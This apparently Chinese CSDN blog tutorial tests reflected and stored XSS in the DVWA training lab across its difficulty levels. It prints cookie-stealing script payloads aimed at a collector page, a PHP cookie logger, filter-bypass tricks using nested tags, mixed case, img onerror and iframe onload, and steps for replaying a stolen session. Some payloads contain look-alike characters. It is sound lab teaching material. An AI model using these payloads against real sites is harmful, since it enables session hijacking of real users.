DVWA亲测XSS漏洞

最新推荐文章于 2025-04-07 23:15:21 发布

网络安全King

最新推荐文章于 2025-04-07 23:15:21 发布

阅读量1.5k

点赞数 23

文章标签： xss 前端

本文链接：https://blog.youkuaiyun.com/2401_88220102/article/details/144404623

版权

首先需要有配置好的DVWA环境，像下图这样

其中：

XSS (DOM) : DOM型XSS漏洞

XSS (Reflected) : 反射性XSS漏洞

XSS (Stored) : 存储型XSS漏洞

我们先来看XSS（Reflected）: 反射型的XSS漏洞

首先，我们选择LOW等级

XSS (Reflected) :

点击出现如图所示

我们先来输入 xss ,点击确定

我们接着来输入<xss> ,点击确定

这时发现插入html标签的话，页面会发生变化，我们尝试js弹窗

我们继续输入<script>alert('xss')</script>,点击确定

这时说明这个网站可以进行XSS攻击，我们输入 <script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie</script> ，就可以得到要攻击的人cookie信息

攻击过程总结：

1.攻击者的web设计用来接收cookie，如下：

<?php $cookie = $_GET['cookie']; file_put_contents('cookie.txt',$cookie) ?>

2.构造并发送攻击url:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

注意：<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>需要进行

URLlencode的编码，否则不会攻击成功

3.得到cookie后，我们访问login.php 登陆页面,使用firebug里面的cookies,来编辑cookies

4.完成后，我们直接访问index.php,发现我们已经已被攻击者的身份登陆，可以赶我们想干的事情了

接下来我们选择Medium等级的XSS

XSS (Reflected) :

点击出现如图所示

我们先来输入<script>alert('xss')</script> ,点击确定

发现已经失效，无法正常弹窗，<script>标签被过滤了，不过我们也有方法

1. <scri<script>pt> 应为过滤程序只会过滤一次，嵌套可以完美绕过。

输入<scr<script>ipt>alert('xss')</script>

2. <ScRiPt> 大小写混合绕过

输入<ScRiPt >ipt>alert('xss')</ScRiPt >

接下来我们选择High等级的XSS

XSS (Reflected) :

点击出现如图所示

我们先来输入<script>alert('xss')</script> ,点击确定

我们尝试嵌套，大小写，发现都是失效的

但是能够插入xss代码的标签并不只是<script>,

还有<img>标签，同样也可以

输入 <img src=x οnerrοr=alert('xss')>,点击确定

onerror事件会在文档或图像加载过程中发生错误时被触发

应为src=x本事就是一个错误代码，所以触发事件执行

还有<iframe>标签同样可以：

输入 <iframe οnlοad=alert('xss')>,点击确定

onload 是js的一个事件，事件会在页面加载完成后，立即发生，同时执行被调用的程序。

注意：1. 加载页面时，触发onload事件

接下来我们选择Impossible等级的XSS,当然这个等级是绝对安全的

XSS (Reflected) :

点击出现如图所示

我们先来输入<script>alert('xss')</script> ,点击确定

发现代码原封不动的输出出来了，我们通过fire bug 查看元素

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体

我们输入的符号都被转义了，使他们丧失了功能

查看后台代码

<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user $html .= "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>

原来是htmlspecialchars()这个函数把符号给编码了

接下来让我们来看XSS（Stored）: 存储型XSS漏洞

首先，我们选择LOW等级

点击出现如图所示

是留言板性质的

我们先来尝试输入

发现输入不完整，估计是后台的输入框限制了长度

先查看源代码

果然不出所料

然后我们用火狐浏览器上的Tamper date 进行抓包改包

点击发送就可以成功绕过

或者我们可以用你黑客最常用的工具 burpsuite 就进行抓包：

然后改包：

结果 :

这样就简简单单突破限制

下面我们进入Middem等级

点击确定后

我们发现name中还是限制了字数，但在Low等级中我们已经列出解决办法，这里不再赘述

我们在Message表格中写入<script>alert('xss')</script>,发现如下图

发现<script>标签被过滤，此处我们也已经列出过解决办法，也不再赘述

抓包改包，用大小写混合的方法就可以成功绕过

我们看一下源代码:

<?php
 
if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
 
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );
 
    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );
 
    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );
 
    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}
 
// Generate Anti-CSRF token
generateSessionToken();
?>

这代码不可谓不精细，message防注入做的很棒

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体

接下来我们进入High等级

点击确定后

我们在Message处尝试输入<script>alert('xss')</script>

我们又遇到了meddiem的问题:

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?>

发现name已经完全过滤了<script>,区分大小写，以前的方法都失效了

这时我们采取新办法，我们在name中输入 <img src=x οnerrοr=alert('xss')>

发现成功绕过

接下来我们进入不可能注入的impossible等级

这时我们先来看代码

<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响：